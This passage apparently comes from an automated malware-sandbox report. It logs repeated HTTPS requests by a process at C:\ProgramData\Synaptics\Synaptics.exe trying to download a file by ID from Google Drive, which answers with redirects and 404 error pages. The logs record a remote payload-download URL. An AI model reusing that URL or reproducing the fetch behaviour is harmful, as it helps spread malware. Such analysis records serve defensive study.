135	192.168.2.4	49930	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:33 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:34 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4vcSrFk-P-LMPSmKHRwHzmxRA89AF0AyXwqnznfOjh8AT3Ee_HHW_jLxs981dI9kilpTgPFJo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:34 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-07XxVIQgEImtkQ3hVF_pqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:34 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:34 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 31 37 6d 41 34 59 36 52 2d 4f 59 56 79 52 78 33 33 4a 6c 4b 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="v17mA4Y6R-OYVyRx33JlKQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:34 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49932	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CnLdXlOFapKF8CZKRl91lA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49936	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-tENKwIlSvay19ZCVYTtWyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49935	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:34 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:35 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6xzXpcRTWfL75zHpV14dn1NgtAKmnqxVUzYvUOU5yaN9XdBohUKZ8MB1GAXlGpLndJc7AFJdU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:35 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-t9wCgFSuqBUEmMNNfHKTIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:35 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:35 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 6b 77 55 30 4b 4e 46 6a 4f 65 73 77 36 68 35 61 75 46 50 6b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="skwU0KNFjOesw6h5auFPkg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:35 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49937	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:34 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:35 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7GjGE-49O9I31UEoaiWcLDUWizZAd9twj5mLhylU_gMbBmmK7UbVSG61ojqVU9jkop Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:35 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-q0mTk5a1OiJuqLfm70a9TA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:35 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 79 67 42 67 30 47 74 46 73 4e 6a 5f 72 79 47 38 70 46 4c 63 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="WygBg0GtFsNj_ryG8pFLcg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49938	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:35 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1gDNlC2C9nCU5Opc9LnBtA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49939	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:35 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49940	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:35 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49941	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:35 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49943	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:36 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-AO7Spp35_ijSBrz0GP3iLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49945	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:36 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-trVBzAUj2CGCJVlVtGZkbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

